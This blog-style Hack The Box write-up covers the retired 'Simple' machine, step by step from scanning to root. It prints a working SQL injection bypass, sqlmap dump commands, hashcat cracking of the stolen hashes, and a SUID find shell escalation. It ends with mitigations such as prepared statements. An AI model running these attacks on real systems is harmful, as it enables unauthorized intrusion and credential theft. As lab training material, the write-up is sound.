372 words
2 minutes
HTB Writeup: 'Simple' Machine — SQLi + Privilege Escalation
Difficulty: Easy OS: Linux Points: 20 Status: Retired
Reconnaissance
Initial scan
sudo nmap -sS -sV -sC -p- --min-rate 5000 10.10.11.50 -oN simple.txtPORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 8.9p1 Ubuntu80/tcp open http Apache httpd 2.4.52Only two open ports. Let’s go to the web.
Web Enumeration
Visiting http://10.10.11.50 we find a simple login panel.
# Directory fuzzingffuf -w /usr/share/wordlists/dirb/common.txt \ -u http://10.10.11.50/FUZZ \ -fc 404
# Relevant result:# /admin [Status: 302]# /config [Status: 403]# /login [Status: 200]Identify technology
whatweb http://10.10.11.50# [+] PHP/7.4.3, Apache/2.4.52, Bootstrap/4.5.2Exploitation — SQL Injection
The login form is vulnerable to basic SQL injection. We try the classic bypass:
User: admin' OR '1'='1Password: anythingWe get in directly. But we go further — we extract the whole database with sqlmap:
# Capture the request with Burp and save it to login.reqsqlmap -r login.req --dbs --batch
# Databases:# [*] information_schema# [*] simpleblog
# Extract tablessqlmap -r login.req -D simpleblog --tables --batch# [+] users
# Extract user datasqlmap -r login.req -D simpleblog -T users --dump --batch+----+------------------+------------------------------------------+| id | username | password |+----+------------------+------------------------------------------+| 1 | admin | $2y$10$hashedpassword... || 2 | john | $2y$10$anotherhashedpw... |+----+------------------+------------------------------------------+Crack the hashes
# Save the hash to a fileecho '$2y$10$hashedpassword...' > hash.txt
# Crack with hashcat (bcrypt = mode 3200)hashcat -m 3200 hash.txt /usr/share/wordlists/rockyou.txt
# Result: password123Initial access — SSH
With the cracked credentials we try SSH:
ssh john@10.10.11.50# Password: password123
john@simple:~$ iduid=1001(john) gid=1001(john) groups=1001(john)
john@simple:~$ cat user.txtHTB{u53r_fl4g_4qu1}🎯 User flag obtained.
Privilege Escalation
Local enumeration
# Look for SUID binariesfind / -perm -4000 2>/dev/null/usr/bin/find ← Interesting/usr/bin/sudo/usr/bin/pkexec/bin/suThe find binary with SUID is a classic escalation. We check on GTFOBins:
# Escalation with find SUID/usr/bin/find . -exec /bin/sh -p \; -quit
# sh-5.1# iduid=1001(john) gid=1001(john) euid=0(root) groups=1001(john)
# sh-5.1# cat /root/root.txtHTB{r00t_fl4g_pwn3d!}🎯 Root flag obtained. Machine completed!
Lessons learned
- Never concatenate user input directly into SQL queries — use prepared statements
- Misconfigured SUID binaries are critical vectors for privilege escalation
- Systematic enumeration is key — don’t skip steps
Mitigations
// BAD — vulnerable to SQLi$query = "SELECT * FROM users WHERE user='$username'";
// GOOD — prepared statement$stmt = $pdo->prepare("SELECT * FROM users WHERE user=?");$stmt->execute([$username]);# Review and remove unnecessary SUID bitschmod u-s /usr/bin/findQuestions or corrections? Find me on Twitter as @Oguiii 🔐
HTB Writeup: 'Simple' Machine — SQLi + Privilege Escalation
https://oguiii.xyz/en/posts/htb-writeup-simple/